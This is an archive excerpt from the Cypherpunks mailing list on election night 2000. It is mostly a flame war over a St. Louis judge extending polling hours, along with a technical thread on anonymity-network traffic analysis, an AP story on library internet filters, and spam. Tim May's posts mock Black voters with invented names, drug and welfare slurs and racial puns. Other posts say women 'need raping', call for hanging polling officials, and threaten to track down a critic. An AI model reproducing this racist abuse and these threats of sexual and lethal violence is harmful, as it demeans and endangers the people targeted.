tcmay at got.net Tue Nov 7 18:44:47 2000 From: tcmay at got.net (Tim May) Date: Tue, 7 Nov 2000 18:44:47 -0800 Subject: CDR: Re: Courts interfering with election In-Reply-To: <200011080214.VAA08785@www6.aa.psiweb.com> References: <200011080214.VAA08785@www6.aa.psiweb.com> Message-ID: At 9:14 PM -0500 11/7/00, George at orwellian.org wrote: >commerce wrote home.com ># The obvious complaint is that only select polling areas were ># given extended hours, when it would have been just as easy to ># extend voting hours for the entire region.... > >If all polling places had their hours extended, >does TimMay withdraw his objections? No, though this would be a good first step. The obvious issue is that those in the suburbs were more careful to schedule their voting period to match the preannounced poll hours. The "get out the vote" last-minute calls to the welfare chiselers, the addicts, the crack hoes, etc., produced a last-minute surge. I say fuck them and fuck any court officers who pull off this last-minute vote grab. "In a last-minute development, polling places in Newport Beach, La Jolla, and Pebble Beach will remain open for two additional hours, following legal calls by the California Republican Party. Democrats are furious, and are demanding that polling places in Watts, South-Central LA, and Oakland be kept open _three_ additional hours." Rules are rules. People should plan according to those rules. Last-minute surges as precinct captainst call on their troops should not be rewarded by keeping the polls open longer. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From tcmay at got.net Tue Nov 7 18:59:24 2000 From: tcmay at got.net (Tim May) Date: Tue, 7 Nov 2000 18:59:24 -0800 Subject: CDR: Re: Courts interfering with election In-Reply-To: <200011080234.VAA11548@www5.aa.psiweb.com> References: <200011080234.VAA11548@www5.aa.psiweb.com> Message-ID: At 9:34 PM -0500 11/7/00, George at orwellian.org wrote: > >Well, let's see if there's a perfectly valid reason for the extension: > >http://www.foxnews.com/election_night/states/mo/hours.sml ># Mahina Nightsage, 41, said she attempted to vote at 10 a.m. but ># was told by an election judge that she was not registered for ># that polling place. Nightsage said she arrived at the board's ># downtown office by 12:30 and by 3:15 p.m. had not yet been able ># to vote. Ah, yes, so we extend the hours in a liberal welfare mecca because Latisha Shabombaweka wasn't properly registered at 10 IN THE MORNING. Yeah, makes sense to me, in a liberal kind of way. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From alan at clueserver.org Tue Nov 7 19:37:55 2000 From: alan at clueserver.org (Alan Olsen) Date: Tue, 07 Nov 2000 19:37:55 -0800 Subject: CDR: Re: Courts interfering with election In-Reply-To: <200011080315.WAA13709@www5.aa.psiweb.com> Message-ID: <4.2.2.20001107193635.054169e0@clueserver.org> At 10:15 PM 11/7/00 -0500, George at orwellian.org wrote: >TimMay Moroned: ># Ah, yes, so we extend the hours in a liberal welfare mecca because ># Latisha Shabombaweka wasn't properly registered at 10 IN THE MORNING. > >You are clearly a racist. Actually Tim May hates everyone equally. (Just some more equally than others.) >You need cooking in a large pot. "We're not looking for Cypherpunks with good taste -- we're looking for Cypherpunks that taste good." --- | Terrorists - The Boogiemen for a new Millennium. | |"The moral PGP Diffie taught Zimmermann unites all| Disclaimer: | | mankind free in one-key-steganography-privacy!" | Ignore the man | | | behind the keyboard.| | http://www.ctrl-alt-del.com/~alan/ |alan at ctrl-alt-del.com| From tcmay at got.net Tue Nov 7 19:46:46 2000 From: tcmay at got.net (Tim May) Date: Tue, 7 Nov 2000 19:46:46 -0800 Subject: CDR: Re: Courts interfering with election In-Reply-To: <200011080315.WAA13709@www5.aa.psiweb.com> References: <200011080315.WAA13709@www5.aa.psiweb.com> Message-ID: Late news: Just saw Sen. Kit Bond of Missouri calling for an investigation into "criminal voting fraud" by the Democrat political machine in St. Louis and the lower court judge (if he was appointed by Democrats, the jig's up). Ashcroft faces a very, very, very close election, and that extra blast of welfare roll voters may have been enough to defeat him. Mighty niggardly of the Democrats, I'd say. Spooky, in fact. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From mnorton at cavern.uark.edu Tue Nov 7 18:05:29 2000 From: mnorton at cavern.uark.edu (Mac Norton) Date: Tue, 7 Nov 2000 20:05:29 -0600 (CST) Subject: CDR: Re: election In-Reply-To: <200011080135.UAA14626@www8.aa.psiweb.com> Message-ID: The women in Michigan did it, the women in Penn. did it, the women in Fla. did it. Wake up punks, it's the wimmens. They rule. MacN From George at orwellian.org Tue Nov 7 17:35:28 2000 From: George at orwellian.org (George at orwellian.org) Date: Tue, 7 Nov 2000 20:35:28 -0500 (EST) Subject: CDR: Re: Courts interfering with election Message-ID: <200011080135.UAA14626@www8.aa.psiweb.com> TimMay wrote: # I thought I was jaded, but this is too much even for me to believe. # # A judge in St. Louis has ordered the polls kept open later, until 10 # pm local time. The effect will be to let more inner city, # Democrat-leaning voters vote. What a lame-ass complaint. For some reason, certain polling areas got jammed up, as in long lines. The court agreed to keep the polls open longer so the people could vote. It didn't matter who the people might vote for, despite the Democrats asking for the extended hours. The Republicans actually went into federal court to try and block this, and failed. Did you expect a Republican judge to say no since the people who might be unable to vote by the normal deadline were Democrats? What's your objection to people voting? Try not to mention a political party in your reply. Tim the Troll, yet again. From adam at cypherspace.org Tue Nov 7 17:43:31 2000 From: adam at cypherspace.org (Adam Back) Date: Tue, 7 Nov 2000 20:43:31 -0500 Subject: CDR: Re: PipeNet protocol Message-ID: <200011080145.UAA00598@cypherspace.org> Wei writes: > > [...] if many web servers supported > > connections from the freedom cloud using freedom protocol, and nodes > > in the network did per hop padding using a modified PipeNet scheduling > > algorithm where you would try to use PipeNet scheduling, but instead > > of delaying, if a packet didn't arrive in time, you would send some > > cover instead on a hop by hop basis. [...] > > I don't think that works very well. When you send some hop by hop > padding, every node downstream would be able to tell that some delay > occured somewhere upstream in the connection. I think I phrased that badly. The hop that didn't receive enough packets on a link would create padding, but the padding would be end-to-end between that hop and the end hop (the recipient node, be that client or freedom enabled web server). Clearly if you compromise enough exit nodes, you can then selectively DoS links and observe the padding as the exit node must see it. With freedom and to some extent with the freedom on servers variant (my earlier comment quoted above) I think 3 hops is roughly the maximum useful number of hops. This is because it's a real-time protocol and it's not end-to-end padded. In the case of freedom it's simply not end-to-end padded, with the servers variant it could be end-to-end padded, but the attacker could compromise other nodes, induce delay and therefore persuade the node to pad and then correlate the padding with the compromised exit node. Hence in either case two compromised nodes gives you a lot of info. With PipeNet's synchronous mix-net you don't have this problem, but you have the performance and DoS problems. > So if either the receiver (the last node) or the next to last node > is compromised, the attacker would be able to trace the caller by > correlating between delays in the network and where hop by hop > padding occurs. I agree with this conclusion despite the ambiguous explanation -- the attack is a little more active, and requires more compromises, but still holds I think. So this type of network is not secure against too many node compromises, where-as PipeNet's synchronous mix-net has more mix-net like properties. However it offers reasonable security, it should have reasonable performance, be resistant to widespread DoS and have similar bandwidth overhead to PipeNet. You could use traffic shaping (in any of the networks we discussed) to reduce the bandwidth consumption in quiet periods as Lucky described in the past based on slowly moving average, typical period fluctuations etc. There is another parameter in the previous comparison I missed off: 4. Bandwidth Cost With the server variant of freedom you could also mix different classes of traffic -- some with end-to-end padding and some with no padding. The padding is fairly expensive in bandwidth. Also one could have different route create and destroy rules -- PipeNet create and destroy mixing will make route setup quite slow. In this way you could build a network which supports different performance, cost, DoS resistance and security trade-offs. You could presumably allow PipeNet in the same network also. There is some advantage to having more people using the same protocol, because there will be limits to the cover provided to each other of different traffic classes. Weaker things could be eliminated from the picture for example with higher level threat models, if the threshold of compromised nodes or capability of attacker is above the weaker higher performance routing protocol, but below that required to compromise the high security protocol. Adam From George at orwellian.org Tue Nov 7 17:52:53 2000 From: George at orwellian.org (George at orwellian.org) Date: Tue, 7 Nov 2000 20:52:53 -0500 (EST) Subject: CDR: Re: Courts interfering with election Message-ID: <200011080152.UAA24192@www7.aa.psiweb.com> And here's the details...the move is allowed under state law. Once example was someone who tried to vote at starting at 10AM but couldn't. http://www.foxnews.com/election_night/states/mo/hours.sml # # Judge Extends St. Louis Polling Hours Tuesday, November 7, 2000 # # ST. LOUIS - A circuit court judge ordered Tuesday evening that # polls in St. Louis be kept open until 10 p.m. Central time, three # extra hours, due to long lines, a shortage of judges and a lack # of booths, ballots and other equipment. # # The judge ruled on a petition filed by Democratic Congressional # candidate William Lacy Clay, who cited that voters have not been # able to get in to the polls, and have frequently been finding # they are not on the voting lists. # # Joining in filing the petition were the Missouri Democratic # Committee and the Gore-Lieberman campaign. # # Judge Evelyn M. Baker ruled in favor of the petitioners because # of an especially heavy turnout. The Board of Election # Commissioners "failed to live up to its duty to the voters of # the city," Baker said. # # Under the emergency order issued less than an hour before the # polls were to have closed, the election board was to be kept # open until 11:59 p.m. # # Lawyers for Republican presidential candidate George W. Bush # were unsuccessful in having the case heard in federal court. # Moments after Baker's ruling, a U.S. District Judge declined # to hear the case, saying it was a state issue. # # The Board of Election Commissioners planned to file an immediate # appeal. # # Jim Grebing, a spokesman for Secretary of State Bekki Cook, said # the office had learned of the judge's order through the news # media. # # But Grebing said that the move is allowed under Missouri election # law. # # "We were surprised, we didn't know anything about it," Grebing # said. "But they didn't have to go through us, and we weren't # consulted about it." # # The petition charged that numerous city voters were unable to # vote. Lawyers for the plaintiffs said irregularities at the polls, # including the inability of judges to verify voter registration, # set numerous voters on a path taking several hours to confirm. # # Voters whose registration was not on record at their polling # places had to travel to the board's downtown office where several # hundred people waited up to three hours to confirm their # registration. # # Mahina Nightsage, 41, said she attempted to vote at 10 a.m. but # was told by an election judge that she was not registered for # that polling place. Nightsage said she arrived at the board's # downtown office by 12:30 and by 3:15 p.m. had not yet been able # to vote. # # "That is too much of a burden for anyone to exercise their # constitutional right to vote," Nightsage said. # # Nightsage said she spoke to many other frustrated voters at the # board's office, some of whom left without voting. # # The petitioners presented several affidavits from voters with # similar stories. # # An attorney for the Bush-Cheney campaign asked that the suit # be removed to federal court because federal offices were at stake. # # Kevin Coan, the Republican director of elections for the board, # said election procedures were no different from any other. Coan # said he knew of no one whose right to vote had been denied. # # Coan said much of the confusion may have rested with people who # did not register in time to vote, yet showed up expecting to # be able to cast a ballot. # # "I doubt they have any idea what the election laws of this state # are," Coan said. TimMay was entirely silent on why he objects to this time extension. From commerce at home.com Tue Nov 7 18:00:10 2000 From: commerce at home.com (Me) Date: Tue, 7 Nov 2000 21:00:10 -0500 Subject: CDR: Re: Courts interfering with election References: <200011080135.UAA14626@www8.aa.psiweb.com> Message-ID: <01f501c04927$a09b7a30$0100a8c0@matthew> ----- Original Message ----- From: > For some reason, certain polling areas got jammed up, > as in long lines. The court agreed to keep the polls > open longer so the people could vote. It didn't matter > who the people might vote for, despite the Democrats > asking for the extended hours. The obvious complaint is that only select polling areas were given extended hours, when it would have been just as easy to extend voting hours for the entire region.... ... and that those areas heavily favoured the Democrats, so it probably wasn't an altruist act on their part... ... and that similar appeals made by Republicans in Kansas were rejected. From no.user at anon.xg.nu Tue Nov 7 19:03:12 2000 From: no.user at anon.xg.nu (No User) Date: Tue, 7 Nov 2000 21:03:12 -0600 Subject: CDR: Re: election Message-ID: <2d3afbf0910eaeb2d967845906e6d7d2@anon.xg.nu> anonymous lisped: > The women in Michigan did it, the women in Penn. did it, > the women in Fla. did it. Wake up punks, it's the wimmens. > They rule. > MacN > They need raping. So do you, right up the ass. With a lot of women around to cheer him on. From rah at shipwright.com Tue Nov 7 18:09:52 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Tue, 7 Nov 2000 21:09:52 -0500 Subject: CDR: Re: Courts interfering with election In-Reply-To: References: Message-ID: At 4:18 PM -0800 on 11/7/00, Tim May wrote: > A judge in St. Louis has ordered the polls kept open later Circuit cort judges just threw it out... Cheers, RAH -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From George at orwellian.org Tue Nov 7 18:14:24 2000 From: George at orwellian.org (George at orwellian.org) Date: Tue, 7 Nov 2000 21:14:24 -0500 (EST) Subject: CDR: Re: Courts interfering with election Message-ID: <200011080214.VAA08785@www6.aa.psiweb.com> commerce wrote home.com # The obvious complaint is that only select polling areas were # given extended hours, when it would have been just as easy to # extend voting hours for the entire region.... If all polling places had their hours extended, does TimMay withdraw his objections? And on what factual basis was he so taken back anyway? As if the unexpectedly heavy turnout couldn't cause problems somewhere in the nation. Yea heavy turnout. It's a good thing. From commerce at home.com Tue Nov 7 18:24:32 2000 From: commerce at home.com (Me) Date: Tue, 7 Nov 2000 21:24:32 -0500 Subject: CDR: Re: Courts interfering with election References: <200011080152.UAA24192@www7.aa.psiweb.com> Message-ID: <022501c0492b$0856c6e0$0100a8c0@matthew> ----- Original Message ----- From: > And here's the details...the move is allowed under > state law. Once example was someone who tried to > vote at starting at 10AM but couldn't. Yes, either because she wasn't registered to vote or showed up at the wrong polling station. The article isn't clear. > http://www.foxnews.com/election_night/states/mo/hours.sml Thanks for the link, I appreciate the new headline: Judges Order St. Louis Polls Closed. From hseaver at harmon.arrowhead.lib.mn.us Tue Nov 7 18:32:45 2000 From: hseaver at harmon.arrowhead.lib.mn.us (Harmon Seaver) Date: Tue, 7 Nov 2000 21:32:45 -0500 Subject: CDR: Re: Courts interfering with election References: Message-ID: <3A08BB2C.900AD31F@harmon.arrowhead.lib.mn.us> The real question is why weren't there enough polls to take care of the number of people who want to vote -- it's not just St. Louis, the same thing is happening in many places. In most states, however, the polls are just staying open. If you have a line of people waiting to vote, how dare they close the polls? The people should take the polling officials outside and hang them from the nearest lamppost if they try to close the polls. Not providing enough places to vote is on the same par as requiring a poll tax or any of the other criminally enacted laws designed to frustrate voters. From George at Orwellian.Org Tue Nov 7 18:34:55 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Tue, 7 Nov 2000 21:34:55 -0500 (EST) Subject: CDR: Re: Courts interfering with election Message-ID: <200011080234.VAA11548@www5.aa.psiweb.com> TimMay Moroned: # Having the courts extend the hours so that more inner city mutants # can stagger down to the polls is inexcusable. Why are you referring to people you don't know as mutants? TimMay Moroned: # I expect "The polling hours are 7 a.m. to 8 p.m." to be upheld. # People arrange their schedules accordingly. If they work hours such # that they cannot be at the polling places during these hours, they # obtain absentee ballots. Or they take personal time off of work. Or # they go in an hour later. Etc. Well, let's see if there's a perfectly valid reason for the extension: http://www.foxnews.com/election_night/states/mo/hours.sml # Mahina Nightsage, 41, said she attempted to vote at 10 a.m. but # was told by an election judge that she was not registered for # that polling place. Nightsage said she arrived at the board's # downtown office by 12:30 and by 3:15 p.m. had not yet been able # to vote. # # "That is too much of a burden for anyone to exercise their # constitutional right to vote," Nightsage said. Yep. If you couldn't vote, you'd be ballistic about that too. Gore wins, ha! Tax May's lilly-white ass to the bone! From George at orwellian.org Tue Nov 7 18:44:38 2000 From: George at orwellian.org (George at orwellian.org) Date: Tue, 7 Nov 2000 21:44:38 -0500 (EST) Subject: CDR: Re: Courts interfering with election Message-ID: <200011080244.VAA26149@www7.aa.psiweb.com> George at orwellian.org wrote: > >TimMay was entirely silent on why he objects to this time extension. TimMay Moroned: # You lying sack of shit. I've made my objections very, very clear. Yeah, you said urbanites are mutants. Whatever that means in your mind. TimMay Moroned: # I need to find out who you are and where you live. What, has your wife refused to service you after you buried lots of gold in the ground awaiting the end of civilization? Ha: Gore will take California. All your words meant nothing. From tcmay at got.net Tue Nov 7 18:52:52 2000 From: tcmay at got.net (Tim May) Date: Tue, 7 Nov 2000 21:52:52 -0500 Subject: CDR: Re: Courts interfering with election In-Reply-To: <3A08BB2C.900AD31F@harmon.arrowhead.lib.mn.us> References: Message-ID: At 9:32 PM -0500 11/7/00, Harmon Seaver wrote: > The real question is why weren't there enough polls to take >care of the number of people who want to vote -- it's not just St. >Louis, the same thing is happening in many places. In most states, >however, the polls are just staying open. If you have a line of people >waiting to vote, how dare they close the polls? The people should take >the polling officials outside and hang them from the nearest lamppost if >they try to close the polls. And what is wrong with simply closing the lines at the closing time. Put a cop or other official at the end of the line and say: "You arrived at 8:01. Polls are closed. Everyone ahead of you will be allowed in to vote, but you are too late." --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From maxinux at jokeslayer.com Tue Nov 7 18:55:23 2000 From: maxinux at jokeslayer.com (Max Inux) Date: Tue, 7 Nov 2000 21:55:23 -0500 Subject: CDR: Re: Courts interfering with election In-Reply-To: <3A08BB2C.900AD31F@harmon.arrowhead.lib.mn.us> Message-ID: Well, dont wory you all, appellate court just overruled that ruling. Polls are closed in Ohio. What happens to that vote? Who knows, not me! -The Joke Slayer (MaxInux) http://www.JokeSlayer.com From George at orwellian.org Tue Nov 7 19:07:31 2000 From: George at orwellian.org (George at orwellian.org) Date: Tue, 7 Nov 2000 22:07:31 -0500 (EST) Subject: CDR: Re: Courts interfering with election Message-ID: <200011080307.WAA12185@www3.aa.psiweb.com> TimMay Moroned: # And what is wrong with simply closing the lines at the closing time. # Put a cop or other official at the end of the line and say: "You # arrived at 8:01. Polls are closed. Everyone ahead of you will be # allowed in to vote, but you are too late." Why, that's already been answered. See text about woman who tried to vote all day, starting at 10AM. Any more questions? From honig at sprynet.com Tue Nov 7 19:10:26 2000 From: honig at sprynet.com (David Honig) Date: Tue, 7 Nov 2000 22:10:26 -0500 Subject: CDR: Re: Courts interfering with election In-Reply-To: References: <200011080135.UAA14626@www8.aa.psiweb.com> Message-ID: <3.0.5.32.20001107190229.0094a220@207.69.200.219> At 09:31 PM 11/7/00 -0500, Tim May wrote: If they work hours such >that they cannot be at the polling places during these hours, they >obtain absentee ballots. Or they take personal time off of work. Or >they go in an hour later. Etc. California is reported to have 20% absentee ballots, see the latimes.com From honig at sprynet.com Tue Nov 7 19:10:27 2000 From: honig at sprynet.com (David Honig) Date: Tue, 7 Nov 2000 22:10:27 -0500 Subject: CDR: Re: election In-Reply-To: <640d0714ae2d9d6ef0e451a713bc6364@remailer.privacy.at> Message-ID: <3.0.5.32.20001107190321.00947380@207.69.200.219> At 09:45 PM 11/7/00 -0500, anonymous at openpgp.net wrote: >> The women in Michigan did it, the women in Penn. did it, >> the women in Fla. did it. Wake up punks, it's the wimmens. >> They rule. >> MacN > >They need raping. After Gore disarms them, it'll be easier. From George at orwellian.org Tue Nov 7 19:15:10 2000 From: George at orwellian.org (George at orwellian.org) Date: Tue, 7 Nov 2000 22:15:10 -0500 (EST) Subject: CDR: Re: Courts interfering with election Message-ID: <200011080315.WAA13709@www5.aa.psiweb.com> TimMay Moroned: # Ah, yes, so we extend the hours in a liberal welfare mecca because # Latisha Shabombaweka wasn't properly registered at 10 IN THE MORNING. You are clearly a racist. You need cooking in a large pot. ;-) From tcmay at got.net Tue Nov 7 19:31:33 2000 From: tcmay at got.net (Tim May) Date: Tue, 7 Nov 2000 22:31:33 -0500 Subject: CDR: Re: Courts interfering with election In-Reply-To: <3.0.5.32.20001107190229.0094a220@207.69.200.219> References: <200011080135.UAA14626@www8.aa.psiweb.com> Message-ID: At 10:10 PM -0500 11/7/00, David Honig wrote: >At 09:31 PM 11/7/00 -0500, Tim May wrote: >If they work hours such >>that they cannot be at the polling places during these hours, they >>obtain absentee ballots. Or they take personal time off of work. Or >>they go in an hour later. Etc. > >California is reported to have 20% absentee ballots, see the latimes.com Exactly. There are _many_ ways to vote. The polls are open for 13 hours, 7 a.m. to 8 p.m. Claims that "working people" can't get to the polls are ludicrous. If anything, in fact, it's the Silicon Valley programmer who may have a hard time getting away from the office during those hours. In any case, the claim that St. Louis needed to have its polling hours extended into the late evening because Latisha LaFonda was incorrectly registered and couldn't vote at 10 _a.m._ is what makes it all so ludicrous. "We want the polling places to be open until at least 2:30 a.m. a half hour after the bars close. We gots to be thinkin' 'bout our con-stit-a-ents!" --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From alan at clueserver.org Tue Nov 7 19:32:03 2000 From: alan at clueserver.org (Alan Olsen) Date: Tue, 7 Nov 2000 22:32:03 -0500 Subject: CDR: Re: Courts interfering with election In-Reply-To: <3.0.5.32.20001107190229.0094a220@207.69.200.219> References: Message-ID: <4.2.2.20001107192807.05441960@clueserver.org> At 10:10 PM 11/7/00 -0500, David Honig wrote: >At 09:31 PM 11/7/00 -0500, Tim May wrote: >If they work hours such > >that they cannot be at the polling places during these hours, they > >obtain absentee ballots. Or they take personal time off of work. Or > >they go in an hour later. Etc. > >California is reported to have 20% absentee ballots, see the latimes.com Oregon has vote by mail. (Fun watching both of the major parties spending *LOTS* of time here when large numbers of people had already sent in their ballots.) One of the more interesting ballot measures in Oregon would require the government to have a conviction before being able to seize property. The arguments against are pretty interesting. The first set in the voter's pamphlet is from the Humane Society claiming that the measure would "harm animals". (When you can use the "Its for the chilldddreeennn" argument, hurting animals is the next best thing. Reminds me of the National Lampoon cover with the dog with the gun to his head. "Vote NO on measure 3 or the dog dies!") --- | Terrorists - The Boogiemen for a new Millennium. | |"The moral PGP Diffie taught Zimmermann unites all| Disclaimer: | | mankind free in one-key-steganography-privacy!" | Ignore the man | | | behind the keyboard.| | http://www.ctrl-alt-del.com/~alan/ |alan at ctrl-alt-del.com| From anonymous at openpgp.net Tue Nov 7 19:49:37 2000 From: anonymous at openpgp.net (anonymous at openpgp.net) Date: Tue, 7 Nov 2000 22:49:37 -0500 Subject: CDR: Coping With Filtering Law Message-ID: <3b6191a8825a65bfd2557f06373766ab@noisebox.remailer.org> Librarians Running Into Trouble Monitoring Net Use The Associated Press B E R K L E Y, Mich., Nov. 6 Q Librarians trained in opening doors to knowledge must find ways to slam some of those doors shut, agitating many who donUt appreciate laws requiring them to censor Internet use. JJJJ RLibrarians are in the business of giving people information, not preventing them from getting it,S said Carol Windorf, Royal OakUs library director. RItUs an uncomfortable position and it makes it tougher for us to do our job.S JJJJ A state law approved last spring requires public libraries that offer Internet access to keep children from inappropriate sites by installing filters, monitoring behavior or requiring parents to be present. Not Alone Minnesota, Arizona, Utah and Colorado have laws similar to MichiganUs and at least 19 other states are considering legislative action. More than 75 libraries nationwide placed filters on computers last year, bringing the total to about 1,000. JJJJ The American Library Association has raised First Amendment concerns with the laws. But most of MichiganUs libraries are complying, with filters on at least some of their computers, said Stephen Kershner, executive director of the Michigan Library Association. JJJJ Some librarians have decided not to use filters Q calling the software unreliable and an inconvenience to everyone. JJJJ RThe filters can block computer users from obtaining completely acceptable information theyUre looking for on the Internet,S Oxford Library Director Judith Doublestein told The Detroit News for a Sunday story. JJJJ Doublestein said some computer users were denied football statistics from Super Bowl XXX because a filter confused the Roman numerals with a triple-X-rated pornographic Web site. JJJJ Moreover, Doublestein said, children are so adept at computer use that they can often easily get around the filters to look at questionable sites. Surrogate Parents? The American Library Association said it sees little merit in filters and believes libraries are more comfortable forming their own Internet policies. Some librarians said the law forces them to act as parents. JJJJ RIdeally, each person should be able to search the Internet on their own,S Windorf said. RIn the case of children, we feel parents are the best guide.S JJJJ In Berkley, where filters arenUt in use, itUs up to staff members and library visitors to decide what is objectionable. JJJJ In Birmingham, which has only one filtered computer, a patron was arrested during the summer after he ignored repeated warnings and downloaded photos from pornographic sites. JJJJ In Livonia, computers in the adult area donUt have filters and are equipped with privacy screens. Parents must accompany minors under 18 who wish to use them. Unaccompanied children must use computers with filters near the childrenUs area. JJJJ RI guess the filters are getting better, but we had a case where a patron was unable to research RMars ExplorerS because the TsU in Mars and the TexU in explorer triggered to the word sex,S said Livonia Library Director Barbara Lewis. Tips for the Home Some tips for parents and children on Internet use: JJJJ DonUt give out personal information such as addresses, phone numbers or school names and location without parental permission. JJJJ Tell parents right away about any information or message that causes discomfort. JJJJ Never agree to get together with an online contact without checking with parents. JJJJ Never send a personal photo to a person without parental knowledge. JJJJ Decide with parents on the length of time that can be spent online and appropriate sites to visit. JJJJ Install software filters on home computers to block inappropriate sites, although they canUt bar access to everything parents might not want children to see and may block information that is helpful. JJJJ Place computers in the kitchen, family room, or living room so an adult can see the child using it. JJJJ DonUt let young children surf the Web alone. JJJJ Q The Associated Press Copyright 2000 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. [ :-) ] From tcmay at got.net Tue Nov 7 19:50:08 2000 From: tcmay at got.net (Tim May) Date: Tue, 7 Nov 2000 22:50:08 -0500 Subject: CDR: Re: Courts interfering with election In-Reply-To: <200011080307.WAA12185@www3.aa.psiweb.com> References: <200011080307.WAA12185@www3.aa.psiweb.com> Message-ID: At 10:07 PM -0500 11/7/00, George at orwellian.org wrote: >TimMay Moroned: ># And what is wrong with simply closing the lines at the closing time. ># Put a cop or other official at the end of the line and say: "You ># arrived at 8:01. Polls are closed. Everyone ahead of you will be ># allowed in to vote, but you are too late." > >Why, that's already been answered. > >See text about woman who tried to vote all day, >starting at 10AM. > >Any more questions? "Asked and answered." Nearly 80 million people have already voted today, without incident. That this woman Takikawaladan Shakiradon _claims_ to have been turned away at 10 a.m. has nothing to do with extending hours in St. Louis. If in her crack haze she went to the wrong place, or had never registered at all, or was registered under the name she uses on her _other_ welfare claim, does anyone really think that she'll somehow be voting between when the polls _would have closed_ and whenever they eventually do? Get real. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From George at Orwellian.Org Tue Nov 7 19:52:17 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Tue, 7 Nov 2000 22:52:17 -0500 (EST) Subject: CDR: Re: Courts interfering with election Message-ID: <200011080352.WAA13035@www6.aa.psiweb.com> TimMay Moroned: # The polls are open for 13 hours, 7 a.m. to 8 p.m. # Claims that "working people" can't get to the # polls are ludicrous. No one on the list made that claim. You set up your own strawman, having nothing else. ---- Hmmm, Florida is in an unknown state. From George at Orwellian.Org Tue Nov 7 20:04:08 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Tue, 7 Nov 2000 23:04:08 -0500 (EST) Subject: CDR: Re: Courts interfering with election Message-ID: <200011080404.XAA10283@www0.aa.psiweb.com> TimMay Moroned: # Mighty niggardly of the Democrats, I'd say. Spooky, in fact. Ah, 'niggar' and 'spook'. Neither of which are used correctly, except to troll. You are quite unimaginative. From rah at shipwright.com Tue Nov 7 20:17:50 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Tue, 7 Nov 2000 23:17:50 -0500 Subject: CDR: Re: Courts interfering with election In-Reply-To: References: <200011080315.WAA13709@www5.aa.psiweb.com> Message-ID: At 7:46 PM -0800 on 11/7/00, Tim May wrote: > (if he was appointed > by Democrats, the jig's up) He was Gebhart's former chief of staff... :-). Cheers, RAH LHS'77 -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From honig at sprynet.com Tue Nov 7 20:31:53 2000 From: honig at sprynet.com (David Honig) Date: Tue, 7 Nov 2000 23:31:53 -0500 Subject: CDR: Calif Mandatory Youth Education Camp competition loses in CA Message-ID: <3.0.5.32.20001107202513.00959420@207.69.200.219> Seems the Calif proposition to fund private schools has failed. You must register Jr. with the government next September. Mandatory anthrax shots in January. From imail-html-help at lists.ifilm.com Tue Nov 7 16:24:49 2000 From: imail-html-help at lists.ifilm.com (imail-html-help at lists.ifilm.com) Date: 8 Nov 2000 00:24:49 -0000 Subject: CDR: WELCOME to imail-html@lists.ifilm.com Message-ID: <973643089.24277.ezmlm@lists.ifilm.com> Thank you for subscribing to the IFILM Newsletter. You should receive your first copy in the next few days, and we know you'll enjoy this guide to the best movies on the Web. Each week, you'll get the inside track on the most cutting-edge films, funniest satires and wildest animation on IFILM...and on the Web. Plus, you can find IFILM's regular dose of movie reviews, celebrity interviews and Industry gossip. It's your one-stop shop for everything movies--direct to your own inbox. IFILM -- The Place For Internet Film http://www.ifilm.com IFILM -- The Place For Internet Film http://www.ifilm.com From Open_House at update.hallmark.com Tue Nov 7 21:29:54 2000 From: Open_House at update.hallmark.com (Open House at Hallmark) Date: Wed, 8 Nov 2000 00:29:54 -0500 (EST) Subject: CDR: Hallmark Holiday Open House Message-ID: Dear valued Hallmark.com member, Your local Hallmark Gold Crown Store hosts the Hallmark Holiday Open House this weekend, November 11-12. To find the Hallmark store nearest you click here: http://update.hallmark.com/cgi-bin2/flo?y=eB1I0BMs6L0BMk0lLkB&userID=2192593 Find great new holiday collections including PEANUTS(R), Harry Potter(TM), and Mitford, along with these special offers at Hallmark Gold Crown Stores: * The PEANUTS Holiday Musical snow globe is only $9.99 (regularly $17.99) when you purchase any Hallmark card during Holiday Open House weekend. * Register to WIN a giant plush Snoopy. Stop in early and fill out an official entry form. Our next winner could be you! Learn about the Hallmark Holiday Open House and the whole PEANUTS gang at 